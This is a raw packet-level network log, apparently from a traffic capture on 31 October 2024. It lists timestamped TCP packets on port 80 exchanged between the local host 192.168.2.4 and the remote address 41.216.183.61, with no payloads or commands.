Oct 31, 2024 03:04:12.686181068 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.686202049 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.686213970 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.686235905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.686242104 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.686283112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695549965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695600986 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695616007 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695631981 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695642948 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695674896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695683002 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695715904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695725918 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695749998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695753098 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695791006 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.695898056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.695966005 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.696006060 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.696034908 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.696043015 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.696069956 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.696074963 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.696106911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.727482080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.727544069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.727544069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.727574110 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.727582932 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.727607965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.727632046 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.727650881 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.727654934 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.727688074 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770258904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770317078 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770320892 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770355940 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770361900 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770391941 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770394087 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770428896 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770468950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770504951 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770520926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770553112 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770560026 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770589113 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.770591974 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.770636082 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801156998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801213026 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801230907 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801244974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801261902 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801284075 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801297903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801331043 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801335096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801367998 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801388979 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801429033 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801501989 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801541090 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801565886 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801605940 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801630974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801673889 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801685095 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801779985 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801795959 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801830053 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801832914 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801863909 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801919937 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.801959991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.801985025 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802018881 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802025080 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802051067 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802054882 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802083969 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802086115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802124023 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802395105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802438021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802447081 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802480936 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802484035 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802515030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802516937 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802551031 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802553892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802583933 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802587986 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802620888 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802622080 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802649975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802659988 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802680969 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.802958965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802993059 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.802999973 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.803026915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.803026915 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.803061962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.803071022 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.803095102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.803237915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.803288937 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.803448915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.803489923 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812525988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812576056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812591076 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812609911 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812619925 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812643051 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812654972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812679052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812695026 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812721014 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812731028 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812773943 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812781096 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812814951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812824011 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812849998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812855959 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812884092 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.812896013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.812925100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.844352961 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.844408035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.844428062 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.844441891 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.844477892 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.844481945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.844481945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.844522953 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887101889 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887156963 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887171030 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887212038 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887222052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887257099 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887259960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887290001 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887293100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887329102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887347937 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887384892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887403965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887485981 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887485981 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887516975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887526989 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887548923 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.887552023 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.887584925 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.917901993 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.917929888 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.917942047 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.917964935 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.917987108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.917985916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918041945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918041945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918140888 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918183088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918315887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918328047 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918338060 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918350935 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918359995 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918380976 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918404102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918427944 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918440104 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918452024 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918463945 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918463945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918488979 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918509960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918721914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918735027 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918746948 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918759108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.918772936 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918791056 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.918809891 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919013977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919028997 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919039965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919058084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919064045 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919078112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919100046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919107914 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919112921 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919125080 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919135094 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919145107 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919158936 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919187069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919523001 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919565916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919632912 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919646978 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919660091 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919672012 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.919673920 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919698000 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.919714928 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929203033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929214954 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929225922 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929265022 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929307938 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929316044 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929330111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929352045 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929368019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929410934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929423094 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929434061 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929444075 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929465055 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929472923 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929692984 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929711103 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929722071 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929732084 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929754972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929754972 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929900885 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929913044 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929923058 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.929934025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.929955006 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.961030006 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.961119890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.961131096 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.961139917 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:12.961175919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.961175919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:12.961175919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.003777981 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.003797054 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.003808022 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.003886938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.003897905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.003910065 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.003998995 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.003998995 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.003998995 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.003998995 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.004105091 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.004117012 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.004128933 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.004277945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035599947 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035613060 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035624981 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035636902 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035651922 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035710096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035710096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035733938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035744905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035768032 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035784960 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035928011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035939932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035952091 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035964012 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.035969019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.035995007 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036264896 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036277056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036288023 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036298990 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036309958 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036312103 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036323071 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036326885 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036344051 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036344051 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036354065 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036370039 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036387920 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036902905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036915064 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036926985 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036938906 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036951065 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036955118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036968946 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.036976099 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.036987066 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037048101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037051916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.037051916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.037051916 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.037077904 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.037508011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037519932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037530899 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037564039 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.037585974 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.037657022 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037669897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.037702084 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046325922 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046346903 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046420097 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046427011 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046432972 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046444893 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046458006 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046459913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046472073 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046483994 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046483994 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046505928 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046510935 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046518087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046526909 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046530962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046549082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046555996 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046580076 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046801090 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046813011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046828032 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:13.046848059 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.046869993 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:13.078048944 CET	80	63780	41.216.183.61	192.168.2.4
